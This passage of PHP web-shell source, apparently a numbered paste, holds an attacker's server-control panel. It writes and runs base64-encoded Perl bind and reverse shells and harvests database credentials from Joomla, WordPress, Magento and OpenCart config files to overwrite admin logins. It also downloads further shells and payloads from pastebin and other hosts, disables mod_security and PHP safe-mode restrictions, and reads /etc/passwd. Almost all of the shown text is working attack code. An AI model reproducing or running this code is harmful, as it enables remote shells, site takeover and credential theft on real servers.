IHRoYXQgcGVybCBpcyBub3QgZW5hYmxlZCBpbiB0aGlzIHNlcnZlciA6KDwvY2VudGVyPjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPjxzdHJvbmc+Q29tbWFuZDogcGVybCByZXZlcnNlLnBsIHlvdXJJUCBQb3J0PC9zdHJvbmc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InZ3IiBzaXplPSI1MCIgdmFsdWU9ImNtZCI+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21tYW5kIiBzaXplPSI0MyI+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KPG9wdGlvbiB2YWx1ZT0ic3lzdGVtIj5TeXN0ZW08L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9ImV4ZWMiPkV4ZWM8L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5QYXNzdGhydTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBvcGVuIj5wb3Blbjwvb3B0aW9uPg0KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4NCjwvcD48L2Zvcm0+JzsNCj8+';
  2092. $file = fopen("kit.php" ,"w+");
  2093. $write = fwrite ($file ,base64_decode($zonop));
  2094. fclose($file);
  2095.  
  2096. echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Perl Connect Shell Priv8</span></b><center><br><iframe src=Backperlrev/kit.php width=75% height=60% frameborder=0></iframe></div></center>";
  2097.  
  2098. }
  2099. elseif($_GET['do'] == 'bc') {
  2100. echo "<center>";
  2101. echo "<ul>";
  2102. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  2103. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  2104. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  2105. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  2106. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  2107. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  2108. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  2109. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  2110. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  2111. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  2112. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  2113. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  2114. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  2115. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  2116. echo "</ul>";
  2117. echo "</center>";
  2118. echo "<form method='post'>
  2119. <u>Bind Port:</u> <br>
  2120. PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
  2121. <input type='submit' name='sub_bp' value='>>'>
  2122. </form>
  2123. <form method='post'>
  2124. <u>Back Connect:</u> <br>
  2125. Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>&nbsp;&nbsp;
  2126. PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
  2127. <input type='submit' name='sub_bc' value='>>'>
  2128. </form>";
  2129. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  2130. if(isset($_POST['sub_bp'])) {
  2131. $f_bp = fopen("/tmp/bp.pl", "w");
  2132. fwrite($f_bp, base64_decode($bind_port_p));
  2133. fclose($f_bp);
  2134.  
  2135. $port = $_POST['port_bind'];
  2136. $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
  2137. sleep(1);
  2138. echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
  2139. unlink("/tmp/bp.pl");
  2140. }
  2141. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  2142. if(isset($_POST['sub_bc'])) {
  2143. $f_bc = fopen("/tmp/bc.pl", "w");
  2144. fwrite($f_bc, base64_decode($bind_connect_p));
  2145. fclose($f_bc);
  2146.  
  2147. $ipbc = $_POST['ip_bc'];
  2148. $port = $_POST['port_bc'];
  2149. $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
  2150. sleep(1);
  2151. echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
  2152. unlink("/tmp/bc.pl");
  2153. }
  2154. }
  2155. elseif($_GET['do'] == 'aeu') {
  2156. if($_POST['hajar']) {
  2157. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  2158. echo "username atau password harus lebih dari 6 karakter";
  2159. } else {
  2160. $user_baru = $_POST['user_baru'];
  2161. $pass_baru = md5($_POST['pass_baru']);
  2162. $conf = $_POST['config_dir'];
  2163. $scan_conf = scandir($conf);
  2164. foreach($scan_conf as $file_conf) {
  2165. if(!is_file("$conf/$file_conf")) continue;
  2166. $config = file_get_contents("$conf/$file_conf");
  2167. if(preg_match("/JConfig|joomla/",$config)) {
  2168. $dbhost = ambilkata($config,"host = '","'");
  2169. $dbuser = ambilkata($config,"user = '","'");
  2170. $dbpass = ambilkata($config,"password = '","'");
  2171. $dbname = ambilkata($config,"db = '","'");
  2172. $dbprefix = ambilkata($config,"dbprefix = '","'");
  2173. $prefix = $dbprefix."users";
  2174. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2175. $db = mysql_select_db($dbname);
  2176. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2177. $result = mysql_fetch_array($q);
  2178. $id = $result['id'];
  2179. $site = ambilkata($config,"sitename = '","'");
  2180. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  2181. echo "Config => ".$file_conf."<br>";
  2182. echo "CMS => Joomla<br>";
  2183. if($site == '') {
  2184. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2185. } else {
  2186. echo "Sitename => $site<br>";
  2187. }
  2188. if(!$update OR !$conn OR !$db) {
  2189. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2190. } else {
  2191. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2192. }
  2193. mysql_close($conn);
  2194. } elseif(preg_match("/WordPress/",$config)) {
  2195. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2196. $dbuser = ambilkata($config,"DB_USER', '","'");
  2197. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2198. $dbname = ambilkata($config,"DB_NAME', '","'");
  2199. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2200. $prefix = $dbprefix."users";
  2201. $option = $dbprefix."options";
  2202. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2203. $db = mysql_select_db($dbname);
  2204. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2205. $result = mysql_fetch_array($q);
  2206. $id = $result[ID];
  2207. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2208. $result2 = mysql_fetch_array($q2);
  2209. $target = $result2[option_value];
  2210. if($target == '') {
  2211. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2212. } else {
  2213. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  2214. }
  2215. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  2216. echo "Config => ".$file_conf."<br>";
  2217. echo "CMS => Wordpress<br>";
  2218. echo $url_target;
  2219. if(!$update OR !$conn OR !$db) {
  2220. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2221. } else {
  2222. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2223. }
  2224. mysql_close($conn);
  2225. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  2226. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  2227. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  2228. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  2229. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  2230. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  2231. $prefix = $dbprefix."admin_user";
  2232. $option = $dbprefix."core_config_data";
  2233. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2234. $db = mysql_select_db($dbname);
  2235. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  2236. $result = mysql_fetch_array($q);
  2237. $id = $result[user_id];
  2238. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  2239. $result2 = mysql_fetch_array($q2);
  2240. $target = $result2[value];
  2241. if($target == '') {
  2242. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2243. } else {
  2244. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  2245. }
  2246. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2247. echo "Config => ".$file_conf."<br>";
  2248. echo "CMS => Magento<br>";
  2249. echo $url_target;
  2250. if(!$update OR !$conn OR !$db) {
  2251. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2252. } else {
  2253. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2254. }
  2255. mysql_close($conn);
  2256. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  2257. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  2258. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  2259. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  2260. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  2261. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  2262. $prefix = $dbprefix."user";
  2263. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2264. $db = mysql_select_db($dbname);
  2265. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  2266. $result = mysql_fetch_array($q);
  2267. $id = $result[user_id];
  2268. $target = ambilkata($config,"HTTP_SERVER', '","'");
  2269. if($target == '') {
  2270. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2271. } else {
  2272. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  2273. }
  2274. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2275. echo "Config => ".$file_conf."<br>";
  2276. echo "CMS => OpenCart<br>";
  2277. echo $url_target;
  2278. if(!$update OR !$conn OR !$db) {
  2279. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2280. } else {
  2281. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2282. }
  2283. mysql_close($conn);
  2284. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  2285. $dbhost = ambilkata($config,'server = "','"');
  2286. $dbuser = ambilkata($config,'username = "','"');
  2287. $dbpass = ambilkata($config,'password = "','"');
  2288. $dbname = ambilkata($config,'database = "','"');
  2289. $prefix = "users";
  2290. $option = "identitas";
  2291. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2292. $db = mysql_select_db($dbname);
  2293. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  2294. $result = mysql_fetch_array($q);
  2295. $target = $result[alamat_website];
  2296. if($target == '') {
  2297. $target2 = $result[url];
  2298. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2299. if($target2 == '') {
  2300. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2301. } else {
  2302. $cek_login3 = file_get_contents("$target2/adminweb/");
  2303. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  2304. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  2305. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  2306. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  2307. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  2308. } else {
  2309. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  2310. }
  2311. }
  2312. } else {
  2313. $cek_login = file_get_contents("$target/adminweb/");
  2314. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  2315. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  2316. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  2317. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  2318. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  2319. } else {
  2320. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  2321. }
  2322. }
  2323. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  2324. echo "Config => ".$file_conf."<br>";
  2325. echo "CMS => Lokomedia<br>";
  2326. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  2327. echo $url_target2;
  2328. } else {
  2329. echo $url_target;
  2330. }
  2331. if(!$update OR !$conn OR !$db) {
  2332. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2333. } else {
  2334. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2335. }
  2336. mysql_close($conn);
  2337. }
  2338. }
  2339. }
  2340. } else {
  2341. echo "<center>
  2342. <h1>Auto Edit User Config</h1>
  2343. <form method='post'>
  2344. DIR Config: <br>
  2345. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  2346. Set User & Pass: <br>
  2347. <input type='text' name='user_baru' value='bahari' placeholder='user_baru'><br>
  2348. <input type='text' name='pass_baru' value='bahari' placeholder='pass_baru'><br>
  2349. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  2350. </form>
  2351. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  2352. ";
  2353. }
  2354. }
  2355. elseif($_GET['do'] == 'adminer') {
  2356. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  2357. function adminer($url, $isi) {
  2358. $fp = fopen($isi, "w");
  2359. $ch = curl_init();
  2360. curl_setopt($ch, CURLOPT_URL, $url);
  2361. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  2362. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2363. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  2364. curl_setopt($ch, CURLOPT_FILE, $fp);
  2365. return curl_exec($ch);
  2366. curl_close($ch);
  2367. fclose($fp);
  2368. ob_flush();
  2369. flush();
  2370. }
  2371. if(file_exists('sql.php')) {
  2372. echo "<center><font color=lime><a href='$full/sql.php' target='_blank'>adminer login</a></font></center>";
  2373. } else {
  2374. if(adminer("http://pastebin.com/raw/EzJmmzXt","sql.php")) {
  2375. echo "<center><font color=lime><a href='$full/sql.php' target='_blank'>-> adminer login <-</a></font></center>";
  2376. } else {
  2377. echo "<center><font color=red>gagal buat file adminer</font></center>";
  2378. }
  2379. }
  2380.  
  2381. }
  2382. elseif($_GET['do'] == 'ac') {
  2383. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  2384. function adminer($url, $isi) {
  2385. $fp = fopen($isi, "w");
  2386. $ch = curl_init();
  2387. curl_setopt($ch, CURLOPT_URL, $url);
  2388. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  2389. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2390. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  2391. curl_setopt($ch, CURLOPT_FILE, $fp);
  2392. return curl_exec($ch);
  2393. curl_close($ch);
  2394. fclose($fp);
  2395. ob_flush();
  2396. flush();
  2397. }
  2398. if(file_exists('sql.php')) {
  2399. echo "<center><font color=lime>Done ac.zip</font></center>";
  2400. } else {
  2401. if(adminer("http://hbd-denita.hol.es/ac.zip","ac.zip")) {
  2402. echo "<center><font color=lime>Done ac.zip</font></center>";
  2403. } else {
  2404. echo "<center><font color=red>gagal</font></center>";
  2405. }
  2406. }
  2407.  
  2408. }
  2409. elseif($_GET['do'] == 'server') {
  2410. echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Server Security Informations</span><center><br>";
  2411. echo "<center><div class='tmpe'>
  2412. <table align='center' width='50%'><td><font color='white'>Kernel Version</font></td><td>";echo php_uname();
  2413. echo "<tr><td><font color='white'>Web Server</font></td><td>";echo $_SERVER["SERVER_SOFTWARE"];
  2414. echo "<tr><td><font color='white'>PHP Version</font></td><td>";echo phpversion(); echo " on "; echo php_sapi_name();
  2415. echo "<tr><td><font color='white'>Current User</font></td><td>";echo get_current_user();
  2416. echo "<tr><td><font color='white'>User ID</font></td><td>";echo getmyuid();
  2417. echo "<tr><td><font color='white'>Group</font></td><td>";echo getmygid();
  2418. echo "<tr><td><font color='white'>Cwd </font></td><td>";echo getcwd();
  2419. echo "<tr><td><font color='white'>Admin Server</font></td><td>";echo $_SERVER['SERVER_ADMIN'];
  2420. echo "<tr><td><font color='white'>Server Port</font></td><td>";echo $_SERVER['SERVER_PORT'];
  2421. echo "<tr><td><font color='white'>Server IP</font></td><td>";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
  2422. echo "<tr><td><font color='white'>Client IP</font></td><td>";echo $_SERVER['REMOTE_ADDR'];
  2423. echo "<tr><td><font color='white'>cURL support</font></td><td>";echo function_exists('curl_version')?'Enabled':"<font color='red'>No</font>";
  2424. echo "<tr><td><font color='white'>Readable /etc/passwd</font></td><td>";echo @is_readable('/etc/passwd')?"Readable</a>":"<font color='red'>Not Readable</font>";
  2425. echo "<tr><td><font color='white'>Readable /etc/shadow</font></td><td>";echo @is_readable('/etc/shadow')?"Readable":"<font color='red'>Not Readable</font>";
  2426. $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON <font color='white'>secure</font>":"OFF <font color='red'>not secure</font>";
  2427. echo "<tr><td><font color='white'>Open Base Dir</font></td><td><font class=txt>" . $base . "</font>";
  2428. echo "</table></div></center><br>";
  2429. }
  2430. elseif($_GET['do'] == 'baipas') {
  2431. echo "<center>";
  2432. echo "<ul>";
  2433. echo "<li> <a href='?dir=$dir&do=betc'>Bypass /etc/passwd</a> </li>";
  2434. echo "<li> <a href='?dir=$dir&do=baus'>Bypass User Server</a> </li>";
  2435. echo "<li> <a href='?dir=$dir&do=baper'>Bypass Perl Security</a> </li>";
  2436. echo "<li> <a href='?dir=$dir&do=barut'>Bypass Root Access</a> </li>";
  2437. echo "<li> <a href='?dir=$dir&do=beesem'>Bypass Safe Mode</a> </li>";
  2438. echo "<li> <a href='?dir=$dir&do=com64'>Base64 Command</a> </li>";
  2439. echo "</ul>";
  2440. echo "</center>";
  2441. }
  2442. elseif($_GET['do'] == 'beesem') {
  2443.  
  2444. echo "<center>";
  2445. echo "<ul>";
  2446. echo "<li> <a href='?dir=$dir&do=betc'>Bypass /etc/passwd</a> </li>";
  2447. echo "<li> <a href='?dir=$dir&do=baus'>Bypass User Server</a> </li>";
  2448. echo "<li> <a href='?dir=$dir&do=baper'>Bypass Perl Security</a> </li>";
  2449. echo "<li> <a href='?dir=$dir&do=barut'>Bypass Root Access</a> </li>";
  2450. echo "<li> <a href='?dir=$dir&do=beesem'>Bypass Safe Mode</a> </li>";
  2451. echo "<li> <a href='?dir=$dir&do=com64'>Base64 Command</a> </li>";
  2452. echo "</ul>";
  2453. echo "</center>";
  2454.  
  2455. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass SafeMode 2014 Priv8</span><br>Coded by Mauritania Attacker<center><br><br>';
  2456. echo "<br><form method='POST'>
  2457. <center><font color='#007700' size='2' face='shell'>Cwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." &lt;font color='#b0b000' size='8' face='Tahoma'></font></center>
  2458. <center><font color='#007700' size='2' face='shell'>Shell&nbsp;&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=2gmt5XFH' &lt;font color='#b0b000' size='8' face='Tahoma'></font></center>
  2459. <center><font color='#007700' size='2' face='shell'>ini.php&nbsp;</font><input type='text' size='40' name='rim' value='http://pastebin.com/raw.php?i=sEbXwVvt' &lt;font color='#b0b000' size='8' face='Tahoma'></font></center><br>
  2460. <center><input type='submit' value='Bypass SafeMode' name='start' ><br></font></center><br>";
  2461. echo "<center> <textarea name='script' style='width: 450px; height: 200px;'>Results Will Appear Here ^_^
  2462. ";
  2463. if($_POST['start']) {
  2464. $zero = $_POST['zero'];
  2465. $file = $_POST['shell'];
  2466. $mauritania = $_POST['rim'];
  2467. $htaccess = "<IfModule mod_security.c>
  2468. SecFilterEngine Off
  2469. SecFilterScanPOST Off
  2470. SecFilterCheckURLEncoding Off
  2471. SecFilterCheckCookieFormat Off
  2472. SecFilterCheckUnicodeEncoding Off
  2473. SecFilterNormalizeCookies Off
  2474. </IfModule>
  2475. <Limit GET POST>
  2476. order deny,allow
  2477. deny from all
  2478. allow from all
  2479. </Limit>
  2480. <Limit PUT DELETE>
  2481. order deny,allow
  2482. deny from all
  2483. </Limit>
  2484. SetEnv PHPRC $zero/ghost/php.ini";
  2485.  
  2486. $phpini = "c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=";
  2487. $dir = "ghost";
  2488. if(file_exists($dir)) {
  2489. echo "[+] ghost Folder Already Exist are you drunk :o xD !
  2490. ";
  2491. } else {
  2492. @mkdir($dir); {
  2493. echo "[+] ghost Folder Has Been Created Nygga :3 !
  2494. ";
  2495. } }
  2496. #Generate Sh3LL
  2497. $fopen = fopen("ghost/priv8.php5",'w');
  2498. $shell = @file_get_contents($file);
  2499. $swrite = fwrite($fopen ,$shell);
  2500. if($swrite){
  2501. echo "Shell Has Been Downloaded : $zero/ghost/priv8.php5
  2502. ";
  2503. } else {
  2504. echo "Can't Download Shell :( do it manually :D
  2505. ";
  2506. }
  2507. fclose($fopen);
  2508. #Generate Htaccess
  2509. $kolsv = fopen("ghost/.htaccess", "w");
  2510. $hwrite = fwrite($kolsv, $htaccess);
  2511. if($hwrite){
  2512. echo ".htaccess Generated Successfully \!/";
  2513. } else {
  2514. echo "Can't Generate Htaccess";
  2515. }
  2516. fclose($kolsv);
  2517. #Generate ini.php
  2518. $xopen = fopen("ghost/ini.php",'w');
  2519. $rim = @file_get_contents($mauritania);
  2520. $zzz = fwrite($xopen ,$rim);
  2521. if($zzz){
  2522. echo "ini.php Has Been Downloaded \!/";
  2523. } else {
  2524. echo "Can't Download ini.php :( do it manually :D ";
  2525. }
  2526. fclose($xopen);
  2527.  
  2528. $ini = fopen("ghost/php.ini" ,"w");
  2529. $php = fwrite($ini, base64_decode($phpini));
  2530. if($php){
  2531. echo "PHP.INI Generated Successfully \!/";
  2532. } else {
  2533. echo "[-] Can't Generate PHP.INI";
  2534. }
  2535. }
  2536. echo "</textarea></center>";
  2537.  
  2538. }
  2539. elseif($_GET['do'] == 'baus') {
  2540. echo "<center>";
  2541. echo "<ul>";
  2542. echo "<li> <a href='?dir=$dir&do=betc'>Bypass /etc/passwd</a> </li>";
  2543. echo "<li> <a href='?dir=$dir&do=baus'>Bypass User Server</a> </li>";
  2544. echo "<li> <a href='?dir=$dir&do=baper'>Bypass Perl Security</a> </li>";
  2545. echo "<li> <a href='?dir=$dir&do=barut'>Bypass Root Access</a> </li>";
  2546. echo "<li> <a href='?dir=$dir&do=beesem'>Bypass Safe Mode</a> </li>";
  2547. echo "<li> <a href='?dir=$dir&do=com64'>Base64 Command</a> </li>";
  2548. echo "</ul>";
  2549. echo "</center>";
  2550. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Users Server Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
  2551. echo '
  2552. <div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
  2553.  
  2554. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with awk program
  2555. <form method="post">
  2556. <input type="submit" value="Bypass" name="awk">
  2557. </form>
  2558. </center>
  2559. </p>
  2560.  
  2561.  
  2562.  
  2563. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
  2564. <form method="post">
  2565. <input type="submit" value="Bypass" name="syst">
  2566. </form>
  2567. </center>
  2568. </p>
  2569.  
  2570. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with Passthru Function
  2571. <form method="post">
  2572. <input type="submit" value="Bypass" name="passth">
  2573. </form>
  2574. </center>
  2575. </p>
  2576.  
  2577. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
  2578. <form method="post">
  2579. <input type="submit" value="Bypass" name="ex">
  2580. </form>
  2581. </center>
  2582. </p>
  2583.  
  2584. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
  2585. <form method="post">
  2586. <input type="submit" value="Bypass" name="shex">
  2587. </form>
  2588. </center><br>
  2589. </p><center>';
  2590.  
  2591.  
  2592. //Awk Program //
  2593. if ($_POST['awk']) {
  2594. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2595. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  2596. echo "</textarea><br>";
  2597. echo "
  2598. <br>
  2599. <b>
  2600. </b>
  2601. <br>
  2602. ";
  2603. }
  2604. echo "</center><center>";
  2605.  
  2606. //System Function //
  2607. if ($_POST['syst']) {
  2608. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2609. echo system("ls /var/mail");
  2610. echo "</textarea><br>";
  2611. echo "
  2612. <br>
  2613. <b>
  2614. </b>
  2615. <br>
  2616. ";
  2617. }
  2618.  
  2619. echo "</center><center>";
  2620.  
  2621. //Passthru Function //
  2622. if ($_POST['passth']) {
  2623. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2624. echo passthru("ls /var/mail");
  2625. echo "</textarea><br>";
